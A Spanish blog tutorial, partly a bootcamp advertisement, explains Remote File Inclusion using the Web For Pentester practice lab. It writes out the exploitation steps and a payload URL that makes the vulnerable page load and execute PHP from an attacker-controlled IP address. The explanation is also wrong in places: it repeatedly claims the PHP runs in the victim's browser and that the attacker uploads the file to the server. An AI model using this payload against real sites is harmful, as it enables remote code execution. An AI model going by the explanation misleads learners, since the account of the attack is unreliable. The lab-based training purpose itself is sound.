¿Sabes qué es Remote File Inclusion y cómo se ejecuta en un entorno de práctica de hacking web?
El pentesting web es una rama de la seguridad informática que se encarga de encontrar vulnerabilidades en las aplicaciones. Las vulnerabilidades no son más que bugs o fallos de programación que ponen bajo compromiso la seguridad de la aplicación. Por eso, deben ser halladas antes de que lo hagan los hackers maliciosos, para evitar daños en los servidores y a los clientes del sitio web.
Para encontrar fallos de seguridad antes que los atacantes es necesario realizar un pentest o test de penetración, que consiste en utilizar las mismas técnicas de hacking que un atacante para identificar y explotar las vulnerabilidades de una aplicación. Para ello, el pentester debe estar familiarizado con estos fallos y conocer también cuáles son los métodos de explotación.
En este post, hablaremos sobre una vulnerabilidad web que le permite a los atacantes ejecutar código PHP en los navegadores de sus víctimas. A continuación, te explicaremos qué es Remote File Inclusion y cómo se ejecuta este ataque en un entorno legal de práctica de hacking web.
¿Qué es Remote File Inclusion?
Remote File Inclusion es una vulnerabilidad web que le permite a un atacante ejecutar código PHP en el navegador de una víctima por medio de un fichero que este mismo sube al servidor de la aplicación. Esta vulnerabilidad puede ser hallada desde la sintaxis de la URL de la aplicación. Por ejemplo, si incluye un parámetro como:
?page=intro.php
Esto nos indica que está ejecutando código PHP dentro del navegador por medio de un fichero.
Ejemplo de Remote File Inclusion
🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴
Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada
👉 Prueba gratis el Bootcamp en Ciberseguridad por una semanaPara entender mejor qué es Remote File Inclusion, veremos un ejemplo de cómo funciona en un entorno de práctica de hacking web llamado Web For Pentester.
Web For Pentester es un entorno web deliberadamente vulnerable que fue diseñado de este modo por PentesterLab para practicar técnicas de hacking web de manera legal y segura. Para aprender cómo instalar e iniciar Web For Pentester en Kali Linux, visita nuestro tutorial al respecto.
En la aplicación Web For Pentester, ingresaremos al enlace de “Example 1″, de la sección “File Include“. Allí, observaremos que se abre la siguiente página:
Notarás que el parámetro “page=intro.php” está presente en la URL, lo cual significa que, probablemente, la aplicación está ejecutando código PHP en el navegador por medio de este input del lado del cliente. Para probar si la vulnerabilidad funciona, verificaremos si ejecuta una página web cualquiera. Por ejemplo:
page=http://www.google.com
De inmediato notamos que la aplicación está ejecutando código PHP en el navegador y que la vulnerabilidad que buscamos está activa. Ahora, es momento de pasar a la fase de explotación.
Explotación
Ahora que sabes qué es Remote File Inclusion y cómo identificar esta vulnerabilidad, es momento de entender su proceso de explotación.
Para ello, iniciaremos el servicio de Apache2 en el sistema operativo de Kali con el comando:
service apache2 start
Luego, pondremos el servidor a la escucha con el comando:
tail -f /var/log/apache2/access.log
En otra terminal, crearemos el fichero con código PHP, que se ejecutará en el navegador de la víctima. Para ello, crearemos un archivo de texto llamado “test” en el directorio “/var/www/html“, con el siguiente comando:
nano /var/www/html/test
En el archivo de texto, escribiremos el siguiente código PHP:
<?php phpinfo(); ?>
Ahora, desde la página vulnerable de Web For Pentester, le indicaremos al navegador que ejecute el fichero conectándose a la dirección IP del atacante y accediendo a la ubicación del archivo por medio del siguiente payload:
http://192.168.175.129/fileincl/example1.php?page=http://192.168.175.128/test
Como resultado, veremos que se ha ejecutado el código PHP que habíamos programado antes:
Local File Inclusion
Ya hemos visto qué es Remote File Inclusion por medio de un ejemplo práctico. Ahora, mencionaremos de manera breve en qué se diferencia del Local File Inclusion. El ataque de Local File Inclusion, a diferencia del Remote, consiste en ejecutar código PHP a partir de un archivo que se encuentra ya almacenado en el servidor de la víctima. Por eso, se puede afirmar que el Remote File Inclusion ofrece más control sobre el código que se ejecuta de este modo.
Ahora que sabes qué es Remote File Inclusion, si quieres aprender más técnicas de hacking web, en KeepCoding tenemos preparado el mejor curso intensivo para ti. Ingresa a nuestro Ciberseguridad Full Stack Bootcamp y conviértete en especialista en tan solo 7 meses. ¿A qué sigues esperando? ¡Inscríbete ya e impulsa tu carrera!